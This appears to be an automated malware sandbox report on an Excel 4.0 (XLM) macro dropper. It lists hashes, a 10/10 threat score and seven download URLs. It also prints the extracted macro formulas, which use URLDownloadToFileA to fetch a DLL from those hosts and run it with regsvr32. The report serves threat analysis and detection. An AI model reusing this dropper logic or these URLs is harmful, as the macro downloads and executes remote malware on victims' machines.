01c5c05d31206b55a4c91f9b19070ad6487d4170c108cdb25394a278dc246dd7

General

Target

01c5c05d31206b55a4c91f9b19070ad6487d4170c108cdb25394a278dc246dd7
Size

74KB
Sample

241120-n9s4bsxbmj
MD5

b3011ca659bcd388cffb240fdc813378
SHA1

d6684887b06cbbcb84c56c4bf7333e72f5bb4afa
SHA256

01c5c05d31206b55a4c91f9b19070ad6487d4170c108cdb25394a278dc246dd7
SHA512

7af13fdc2d731796efae8c95e94a5ffd2e171d9fc94467e810c0e546fef06752b62810b657795a3cb8b2ace1ab05a79ead9ae7a4edfeb166f699f450f1585b26
SSDEEP

1536:u1RPiXSto0NSVUINwtzLT7OMuuAe0yOcfpXZGsMdVIit:u1RiCtzSmICpH7OZuvZGsMt

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

https://baboonworks.com/Zwe0xwdQ0IktrC/

http://barcoindo.com/picture_library/2mz8F5eS084wcxPyNXZ/

http://bangplamahospital.com/bootstrap/im6LOUezHNUpvTGiRP/

http://baronandstagger.com/hqakgc/AkVsMU5bee39yb9r79c/

http://basepainters.com/wp-content/Zega/

http://ceibadiseno.com.mx/bandermex2/8ib08ZJ/

http://az-10.sakura.ne.jp/info/nXAq9xNk3zS/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://baboonworks.com/Zwe0xwdQ0IktrC/","..\ujg.dll",0,0) =IF('EGDGB'!F7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://barcoindo.com/picture_library/2mz8F5eS084wcxPyNXZ/","..\ujg.dll",0,0)) =IF('EGDGB'!F9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bangplamahospital.com/bootstrap/im6LOUezHNUpvTGiRP/","..\ujg.dll",0,0)) =IF('EGDGB'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://baronandstagger.com/hqakgc/AkVsMU5bee39yb9r79c/","..\ujg.dll",0,0)) =IF('EGDGB'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://basepainters.com/wp-content/Zega/","..\ujg.dll",0,0)) =IF('EGDGB'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ceibadiseno.com.mx/bandermex2/8ib08ZJ/","..\ujg.dll",0,0)) =IF('EGDGB'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://az-10.sakura.ne.jp/info/nXAq9xNk3zS/","..\ujg.dll",0,0)) =IF('EGDGB'!F19<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\ujg.dll") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

https://baboonworks.com/Zwe0xwdQ0IktrC/

xlm40.dropper

http://barcoindo.com/picture_library/2mz8F5eS084wcxPyNXZ/

xlm40.dropper

http://bangplamahospital.com/bootstrap/im6LOUezHNUpvTGiRP/

xlm40.dropper

http://baronandstagger.com/hqakgc/AkVsMU5bee39yb9r79c/

xlm40.dropper

http://basepainters.com/wp-content/Zega/

xlm40.dropper

http://ceibadiseno.com.mx/bandermex2/8ib08ZJ/

xlm40.dropper

http://az-10.sakura.ne.jp/info/nXAq9xNk3zS/